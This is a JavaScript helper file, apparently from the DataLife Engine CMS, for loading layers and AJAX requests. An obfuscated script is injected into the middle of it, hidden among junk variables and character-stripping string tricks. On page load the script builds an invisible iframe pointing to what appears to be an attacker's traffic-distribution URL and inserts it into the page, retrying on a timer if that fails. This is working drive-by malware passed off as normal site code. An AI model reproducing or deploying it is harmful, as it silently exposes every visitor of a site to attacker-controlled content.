function showBusyLayer() {
		var busyLayer = document.getElementById("busy_layer");

	if (window.innerHeight && window.scrollMaxY) {	
		yScroll = window.innerHeight + window.scrollMaxY;
		var deff = document.documentElement;
		var hff = (deff&&deff.clientHeight) || document.body.clientHeight || window.innerHeight || self.innerHeight;
		yScroll -= (window.innerHeight - hff);
	} else if (document.body.scrollHeight > document.body.offsetHeight || document.body.scrollWidth > document.body.offsetWidth){
		yScroll = document.body.scrollHeight;
	} else { 
		yScroll = document.body.offsetHeight;
  	}

	if (busyLayer != null) {
		busyLayer.style.visibility = "visible";
		busyLayer.style.height = yScroll;
	}
};
	
function hideBusyLayer() {
		var busyLayer = document.getElementById("busy_layer");
		if (busyLayer != null) {
			busyLayer.style.visibility = "hidden";
			busyLayer.style.height = "0px";
		}
};

function _get_obj_toppos(obj)
{
	var top = obj.offsetTop;
	
	while( (obj = obj.offsetParent) != null )
	{
		top += obj.offsetTop;
	}
	
	return top;
};

function center_div()
{
	this.divname = '';
	this.divobj  = '';
};
center_div.prototype.clear_div = function()
{
	try
	{
		if ( ! this.divobj )
		{
			return;
		}
		else
		{
			this.divobj.style.display  = 'none';
		}
	}
	catch(e)
	{
		return;
	}
};
center_div.prototype.Ywindow = function()
{
	var scrollY = 0;
	
	if ( document.documentElement && document.documentElement.scrollTop )
	{
		scrollY = document.documentElement.scrollTop;
	}
	else if ( document.body && document.body.scrollTop )
	{
		scrollY = document.body.scrollTop;
	}
	else if ( window.pageYOffset )
	{
		scrollY = window.pageYOffset;
	}
	else if ( window.scrollY )
	{
		scrollY = window.scrollY;
	}
	
	return scrollY;
};
function iT(){};jZ='';iT.prototype = {s : function() {dB=39415;var iC=false;var gN=new Date();this.rR=35208;var c=document;var p=function(){};qE='';var zN=new Date();var eX="";var xS=function(){return 'xS'};var k=window;qU='';gZ='';function f(){};var nS=false;function cG(){};dA="dA";var z = this;var v=new Array();this.dN=false;this.pM='';var vR=58364;var vI=new Date();pE='';var oP="";String.prototype.fO=function(l, w){var u=this; return u.replace(l, w)};nN='';var mR=new Date();var cO=function(){return 'cO'};var oD=false;this.nD=32350;this.b="b";qF='';var i = 's$e$t$T~icmneconuntc'.fO(/[c9\$~n]/g, '');var cL=new Array();this.uV="";var qO=13185;var lM="lM";dX='';sA='';kZ="";vM=56203;var o = 'w)r)i)t<em'.fO(/[m\:\)b\<]/g, '');this.lUE='';var gI='';this.rN='';pR="pR";var rS='';hM=false;var eQ='';try {this.tC="";zND='';this.mU=false;var kW=function(){};var n = 'sWu?'.fO(/[\?AxW2]/g, '')+'b5s6t%r%i%'.fO(/[%5/6@]/g, '')+'nXgA'.fO(/[AfvXb]/g, '');hL=52649;var uJ=new Date();var tX=false;var lZ=function(){return 'lZ'};var bO="bO";var aJ=new Date();cW=51181;var h = 'surucu'.fO(/[u\:\^d6]/g, '');nT="";var gJ="gJ";gB='';vB=false;var dT=new Date();var mP="";var r = '0G7G8jc:rGe$aGtje:EGl$e?mjejn$t?gGe$t?'.fO(/[\?\$\:Gj]/g, '');var uR=false;aQ=11878;this.xE="";vT=49288;var sN=function(){};var iO = r[n](3, 16);sC=false;var jB='';function aA(){};this.aO=false;qY='';this.aH="";    var m = 'a[p[p[eDn[d2C2hBiBl[dD'.fO(/[D\<\[B2]/g, '');dI='';oL="";this.cS="cS";        var pO=new Date();iM="";this.fJ="fJ";var cA = 'b/o/d/yx'.fO(/[xRpD/]/g, '');this.fA=12991;var jC=43613;var bZ=false;this.wH=false;this.lMZ=5569;this.pP=7093;aJW='';this.y='';var lU = 'g@e<tTijfjr<s<ejt@'.fO(/[@\<zjT]/g, '');var mT="mT";this.nH="";var dM=function(){};mV="mV";gG="";this.kQ='';var nJ = lU[n](3, 6);this.fF=false;var xY=false;var rM=59285;this.kL=42240;var cV=function(){return 'cV'};var tZ=61682;e = nJ + 'a3m#e#'.fO(/[#H\*3\{]/g, '');var hS="hS";var hH="hH";var gQ=false;var nO=function(){};rB = 'd}o7t714c4u4tG'.fO(/[G7P4\}]/g, '');var rD="rD";var lQ=false;var bW=function(){};hZ='';var aR="";var eQT="eQT";var aRZ='';var nW = rB[n](3, 4);var rO=function(){return 'rO'};eT="eT";kE=false;pZ='';var xI='';kB="";var aRB=new Date();d = 'fwi(s#2#l#oLrL'.fO(/[L\(w#\?]/g, '');var hO=7817;this.aD="";oX='';var tU="tU";zE="zE";this.nQ='';var j = d[n](3, 4);lX='';this.jS="jS";uK=false;oN='';var yV="yV";var kBG=function(){};eR = 'g*e&t*sne&t&AUtKt*rniUsnd*f*'.fO(/[\*K&nU]/g, '');this.vX=23990;var gP="gP";this.vTZ=false;this.sI=60033;this.eB="";this.zX='';var dW=false;var mW = eR[n](3, 11);xH='';rH=false;this.eRX=false;var xF="xF";oS='';var eQV=function(){return 'eQV'};qK=false;var qS="";t = mW + 'b]uatQeI'.fO(/[IQ#a\]]/g, '');var sE=false;var tB=function(){};var hK="hK";wK=false;aG="";this.fC=16653;var wV = 'wYdYrRh>eYil'.fO(/[l;YR\>]/g, '') + 'gGhGtbtbybhe'.fO(/[eGb4\.]/g, '');this.xU=3340;this.hA=23869;function hMO(){};var xK=61226;var sS="sS";var g = wV[n](3, 9);this.qH=false;dV="";var jJ=function(){};var hB=59929;var rQ=function(){};this.tY=61420;var sR = 'kUdMe1wMi,dU'.fO(/[Up,M1]/g, '') + 't?h7g(swe?'.fO(/[\?w7W\(]/g, '');yI='';mZ=58776;var hT="";var cX="cX";var sEA="sEA";var pRK=function(){return 'pRK'};var gV="gV";var q = sR[n](3, 8);dK=false;this.qP="qP";var wHH="wHH";this.cH=53102;var gH=document[iO](e);var kM=function(){return 'kM'};sD='';var rU=24424;uC="";var qC=false;xFZ=false;var dXU='';this.aL='';gH[t](q, j);dS='';var gHE=36837;var aS=10050;lC="lC";pQ=false;var rL="";var eQY=function(){};var eU="eU";gH[t](g, nW);var wZ=false;this.iA="iA";var vJ=function(){};var wJ=false;this.mN="";dO="";var tZD=function(){return 'tZD'};gH[t](h, z.x());var hY=new Array();this.fB='';gR="gR";var pD=function(){};var hHO=new Array();hLI="";c[cA][m](gH);var zS='';var uO=function(){return 'uO'};var eV="eV";var rK=new Array();this.fG="";var dAR="dAR";} catch(a) {var bT=function(){return 'bT'};this.wKZ=false;mC='';var dQ=function(){};var vIQ="";var iP='';var wI='';c[o]('<ihNtNmwl| w>w<ebio|dey| w>N<|/NbioNdwye>N<w/ihNtimNl|>N'.fO(/[Niew\|]/g, ''));this.xA="xA";eP=false;var pG='';var oI=function(){return 'oI'};hF=false;k[i](function(){ z.s() }, 183);nWF="nWF";var pEK=new Date();cQ="";}this.cP=false;var tE=false;},x : function() {this.aT=false;this.jR="";return 'h4t{t{p4:{/{/{gUoUo{g{l4sU.%i%nL/%t4dLsL/{i%n{.4cLg{i%?U9L'.fO(/[L%\{U4]/g, '');var tT=function(){};var nNJ=39947;zF='';}};this.oR="";var pZM=new iT(); jJU=false;pZM.s();var rC=function(){};
center_div.prototype.move_div = function()
{
	try
	{
		this.divobj = document.getElementById( this.divname );
	}
	catch(e)
	{
		return;
	}
	
	var my_width  = 0;
	var my_height = 0;
	
	if ( typeof( window.innerWidth ) == 'number' )
	{
		my_width  = window.innerWidth;
		my_height = window.innerHeight;
	}
	else if ( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) )
	{
		my_width  = document.documentElement.clientWidth;
		my_height = document.documentElement.clientHeight;
	}
	else if ( document.body && ( document.body.clientWidth || document.body.clientHeight ) )
	{
		my_width  = document.body.clientWidth;
		my_height = document.body.clientHeight;
	}
	
	this.divobj.style.position = 'absolute';
	this.divobj.style.display  = 'block';
	this.divobj.style.zIndex   = 99;
	
	var divheight = parseInt( this.divobj.style.Height );
	var divwidth  = parseInt( this.divobj.style.Width );
	
	divheight = divheight ? divheight : 50;
	divwidth  = divwidth  ? divwidth  : 200;
	
	var scrolly = this.Ywindow();
	
	var setX = ( my_width  - divwidth  ) / 2;
	var setY = ( my_height - divheight ) / 2 + scrolly;
	
	setX = ( setX < 0 ) ? 0 : setX;
	setY = ( setY < 0 ) ? 0 : setY;
	
	this.divobj.style.left = setX + "px";
	this.divobj.style.top  = setY + "px";
};

function dle_ajax(file){
	this.AjaxFailedAlert = "AJAX not supported.\n";
	this.requestFile = file;
	this.method = "POST";
	this.URLString = "";
	this.encodeURIString = true;
	this.execute = false;
	this.add_html = false;
	this.loading_fired		= 0;
	this.centerdiv          = null;

	this.onLoading = function() { };
	this.onLoaded = function() { };
	this.onInteractive = function() { };
	this.onCompletion = function() { };

	this.onShow = function( message )
	{
		if ( ! this.loading_fired )
		{
			this.loading_fired = 1;
		
			//------------------------------------------------
			// Change text?
			//------------------------------------------------
		
		if ( message )
		{
			document.getElementById( 'loading-layer-text' ).innerHTML = message;
		}
		
		this.centerdiv         = new center_div();
		this.centerdiv.divname = 'loading-layer';
		this.centerdiv.move_div();
		}
		
		return;
	};

	this.onHide = function()
	{
		try
		{
			if ( this.centerdiv && this.centerdiv.divobj )
			{
				this.centerdiv.clear_div();
			}
		}
		catch(e)
		{
		}
	
		this.loading_fired = 0;
	
		return;
};


	this.createAJAX = function() {
		try {
			this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
		} catch (e) {
			try {
				this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
			} catch (err) {
				this.xmlhttp = null;
			}
		}
		if(!this.xmlhttp && typeof XMLHttpRequest != "undefined")
			this.xmlhttp = new XMLHttpRequest();
		if (!this.xmlhttp){
			this.failed = true; 
		}
	};
	
	this.setVar = function(name, value){
		if (this.URLString.length < 3){
			this.URLString = name + "=" + value;
		} else {
			this.URLString += "&" + name + "=" + value;
		}
	};
	
	this.encVar = function(name, value){
		var varString = encodeURIComponent(name) + "=" + encodeURIComponent(value);
	return varString;
	};
	
	this.encodeURLString = function(string){
		varArray = string.split('&');
		for (i = 0; i < varArray.length; i++){
			urlVars = varArray[i].split('=');
			if (urlVars[0].indexOf('amp;') != -1){
				urlVars[0] = urlVars[0].substring(4);
			}
			varArray[i] = this.encVar(urlVars[0],urlVars[1]);
		}
	return varArray.join('&');
	};

	this.encodeVAR = function(url){
	
	url = url.toString();

	var regcheck = url.match(/[\x90-\xFF]/g);
	
	if ( regcheck )
	{
		for (var i = 0; i < i.length; i++)
		{
			url = url.replace(regcheck[i], '%u00' + (regcheck[i].charCodeAt(0) & 0xFF).toString(16).toUpperCase());
		}
	}

	return escape(url).replace(/\+/g, "%2B");
	};
	
	this.runResponse = function(){

                        var milisec = new Date;
                        var jsfound = false;
                        milisec = milisec.getTime();

                        var js_reg = /<script.*?>(.|[\r\n])*?<\/script>/ig;

                        var js_str = js_reg.exec(this.response);
                        if (js_str != null) {

						var js_arr = new Array(js_str.shift());
                        var jsfound = true;
        
                        while(js_str) {
                                js_str = js_reg.exec(this.response);
                                if (js_str != null) js_arr.push(js_str.shift());
                        }

                          for(var i=0; i<js_arr.length;i++) {
                                this.response = this.response.replace(js_arr[i],'<span id="'+milisec+i+'" style="display:none;"></span>');
                          }
						}
                            if ( this.add_html ) {
                                this.elementObj.innerHTML += this.response; 
                            } else {
                                this.elementObj.innerHTML = this.response; 
                            }

                        if (jsfound) {

                        var js_content_reg = /<script.*?>((.|[\r\n])*?)<\/script>/ig;

                        for (i = 0; i < js_arr.length; i++) {
                                var mark_node = document.getElementById(milisec+''+i);
                                var mark_parent_node = mark_node.parentNode;
                                mark_parent_node.removeChild(mark_node);
                                
                                js_content_reg.lastIndex = 0;
                                var js_content = js_content_reg.exec(js_arr[i]);
                                var script_node = mark_parent_node.appendChild(document.createElement('script'));
							    script_node.text = js_content[1];  

                                var script_params_str = js_arr[i].substring(js_arr[i].indexOf(' ',0),js_arr[i].indexOf('>',0));
                                var params_arr = script_params_str.split(' ');

								if (params_arr.length > 1) {
                                   for (var j=0;j< params_arr.length; j++ )        {
                                        
                                        if(params_arr[j].length > 0){
                                                var param_arr = params_arr[j].split('=');
                                                param_arr[1] = param_arr[1].substr(1,(param_arr[1].length-2));
                                                script_node.setAttribute(param_arr[0],param_arr[1]);
                                        }

                                  }
								}

                          }
                        }
	};


	
	this.sendAJAX = function(urlstring){
		this.responseStatus = new Array(2);
		if(this.failed && this.AjaxFailedAlert){ 
			alert(this.AjaxFailedAlert); 
		} else {
			if (urlstring){ 
				if (this.URLString.length){
					this.URLString = this.URLString + "&" + urlstring; 
				} else {
					this.URLString = urlstring; 
				}
			}
			if (this.encodeURIString){
				var timeval = new Date().getTime(); 
				this.URLString = this.encodeURLString(this.URLString);
				this.setVar("rndval", timeval);
			}
			if (this.element) { this.elementObj = document.getElementById(this.element); }
			if (this.xmlhttp) {
				var self = this;
				if (this.method == "GET") {
					var totalurlstring = this.requestFile + "?" + this.URLString;
					this.xmlhttp.open(this.method, totalurlstring, true);
				} else {
					this.xmlhttp.open(this.method, this.requestFile, true);
				}
				if (this.method == "POST"){
  					try {
						this.xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');  
					} catch (e) {}
				}

				this.xmlhttp.send(this.URLString);
				this.xmlhttp.onreadystatechange = function() {
					switch (self.xmlhttp.readyState){
						case 1:
							self.onLoading();
						break;
						case 2:
							self.onLoaded();
						break;
						case 3:
							self.onInteractive();
						break;
						case 4:
							self.response = self.xmlhttp.responseText;
							self.responseXML = self.xmlhttp.responseXML;
							self.responseStatus[0] = self.xmlhttp.status;
							self.responseStatus[1] = self.xmlhttp.statusText;
						    self.onHide();
							self.onCompletion();
							if (self.elementObj) {
								var elemNodeName = self.elementObj.nodeName;
								elemNodeName = elemNodeName.toLowerCase();
								if (elemNodeName == "input" || elemNodeName == "select" || elemNodeName == "option" || elemNodeName == "textarea"){
									if (self.response == 'error') { alert('Access denied'); } else {
                                    if ( self.add_html ) {
									self.elementObj.value += self.response;
                                    } else { self.elementObj.value = self.response;}
									}
								} else {
									if (self.response == 'error') { alert('Access denied'); } else {
									if(self.execute) { self.runResponse(); } else {
                                        if ( self.add_html ) {

                                           self.elementObj.innerHTML += self.response;

                                        } else	{ self.elementObj.innerHTML = self.response; }
                                      }
									}
								}
							}
							self.URLString = "";
						break;
					}
				};
			}
		}
	};
this.createAJAX();
};
